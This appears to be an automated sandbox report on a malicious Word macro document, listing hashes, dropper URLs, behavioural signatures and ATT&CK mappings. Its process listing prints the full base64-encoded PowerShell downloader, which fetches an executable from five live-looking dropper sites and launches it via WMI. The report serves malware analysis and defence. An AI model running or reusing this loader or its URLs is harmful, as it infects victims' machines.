774c827f086962222073ad050dfa5b10e8cc0411731e506edc4a0363f4a2815d

General

Target

SecuriteInfo.com.Exploit.Siggen2.12176.26135.29106.doc
Size

173KB
MD5

3158d249b1df418410378fb0a8acc3d3
SHA1

0b1a3f8ee1317f9001eaf098a8de861859d5ceac
SHA256

774c827f086962222073ad050dfa5b10e8cc0411731e506edc4a0363f4a2815d
SHA512

0405f10c425aee11beee75da01f14c1ec23b1a657e46469d42eef3a7af57fa01ad9c7912b0edbf5739cc9a9dc6e8e68978b5df264cb6bc053687bf0309dd3ad6

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://www.hatchdogs.com/assets/XIw/

exe.dropper

https://groovyboove.co.uk/blogs/8T94mmdka13/

exe.dropper

https://gregemerson.com/wp-includes/hudy17240/

exe.dropper

http://guariz.com.br/WuutjlO/

exe.dropper

http://hafder.com/images/fhq7h7babdbe5q5052/

Signatures

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2532 WINWORD.EXE
2532 WINWORD.EXE

pid	process
2532	WINWORD.EXE
2532	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3008	3840	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 3008 powersheLL.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powersheLL.exe

pid process

3008 powersheLL.exe
3008 powersheLL.exe
3008 powersheLL.exe
Blacklisted process makes network request 3 IoCs

Processes:

powersheLL.exe

flow pid process

17 3008 powersheLL.exe
23 3008 powersheLL.exe
27 3008 powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	3008	powersheLL.exe

pid	process
3008	powersheLL.exe
3008	powersheLL.exe
3008	powersheLL.exe

flow	pid	process
17	3008	powersheLL.exe
23	3008	powersheLL.exe
27	3008	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

2532 WINWORD.EXE
2532 WINWORD.EXE
2532 WINWORD.EXE
2532 WINWORD.EXE
2532 WINWORD.EXE
2532 WINWORD.EXE
2532 WINWORD.EXE
2532 WINWORD.EXE
2532 WINWORD.EXE

pid	process
2532	WINWORD.EXE
2532	WINWORD.EXE
2532	WINWORD.EXE
2532	WINWORD.EXE
2532	WINWORD.EXE
2532	WINWORD.EXE
2532	WINWORD.EXE
2532	WINWORD.EXE
2532	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12176.26135.29106.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:2532

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABVAE0AQwBOAEwAbQBmAGUAPQAnAFIAVABFAE8ATQBjAGYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIASQBUAGAAeQBgAHAAcgBPAGAAVABvAEMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARQBEAE8AQQBXAGwAcQB2ACAAPQAgACcANwA0ADQAJwA7ACQASwBCAEEATgBIAGsAbQBvAD0AJwBaAEEARgBFAEIAdABxAHAAJwA7ACQAQwBRAEMAQwBXAHoAdwBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABFAEQATwBBAFcAbABxAHYAKwAnAC4AZQB4AGUAJwA7ACQAUABGAFAAVwBTAG0AZgB0AD0AJwBRAFEATQBVAFQAcwBiAGwAJwA7ACQATwBDAEQAWABEAHcAZQBrAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcARQBiAGMAbABJAGUATgBUADsAJABNAFgAWgBLAFUAYQBxAHIAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBoAGEAdABjAGgAZABvAGcAcwAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBYAEkAdwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBvAG8AdgB5AGIAbwBvAHYAZQAuAGMAbwAuAHUAawAvAGIAbABvAGcAcwAvADgAVAA5ADQAbQBtAGQAawBhADEAMwAvACoAaAB0AHQAcABzADoALwAvAGcAcgBlAGcAZQBtAGUAcgBzAG8AbgAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AaAB1AGQAeQAxADcAMgA0ADAALwAqAGgAdAB0AHAAOgAvAC8AZwB1AGEAcgBpAHoALgBjAG8AbQAuAGIAcgAvAFcAdQB1AHQAagBsAE8ALwAqAGgAdAB0AHAAOgAvAC8AaABhAGYAZABlAHIALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AZgBoAHEANwBoADcAYgBhAGIAZABiAGUANQBxADUAMAA1ADIALwAnAC4AIgBTAHAATABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAWQBVAEMAWgB5AHMAZQA9ACcATABPAEQAVQBWAG0AcgBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABaAFgAUgBWAFgAcABsAGIAIABpAG4AIAAkAE0AWABaAEsAVQBhAHEAcgApAHsAdAByAHkAewAkAE8AQwBEAFgARAB3AGUAawAuACIAZABPAGAAVwBuAGAAbABgAE8AYQBEAEYAaQBMAEUAIgAoACQAWgBYAFIAVgBYAHAAbABiACwAIAAkAEMAUQBDAEMAVwB6AHcAbgApADsAJABaAE4ASQBOAEkAbgB6AHcAPQAnAEEARQBHAE4ARABwAHkAdwAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEMAUQBDAEMAVwB6AHcAbgApAC4AIgBsAGUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMwAyADkANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAHQAZQAiACgAJABDAFEAQwBDAFcAegB3AG4AKQA7ACQATQBGAFIARQBOAGIAdABlAD0AJwBWAFYAWgBDAEcAZABiAHkAJwA7AGIAcgBlAGEAawA7ACQARwBQAEcARABDAGEAcgB6AD0AJwBYAEwATwBWAFkAdgB4AGIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBKAFUATQBQAGkAcgBhAD0AJwBCAEMAQQBKAEIAcQBtAHAAJwA=
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3008

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2532-0-0x000001DCEACD6000-0x000001DCEAD2C000-memory.dmp

Filesize
344KB

Download
memory/2532-1-0x000001DCECDC9000-0x000001DCECDCE000-memory.dmp

Filesize
20KB

Download
memory/2532-2-0x000001DCECDC1000-0x000001DCECDC9000-memory.dmp

Filesize
32KB

Download
memory/2532-3-0x000001DCECDC9000-0x000001DCECDCE000-memory.dmp

Filesize
20KB

Download
memory/2532-4-0x000001DCECDC9000-0x000001DCECDCE000-memory.dmp

Filesize
20KB

Download
memory/2532-5-0x000001DCED3DE000-0x000001DCED3E3000-memory.dmp

Filesize
20KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads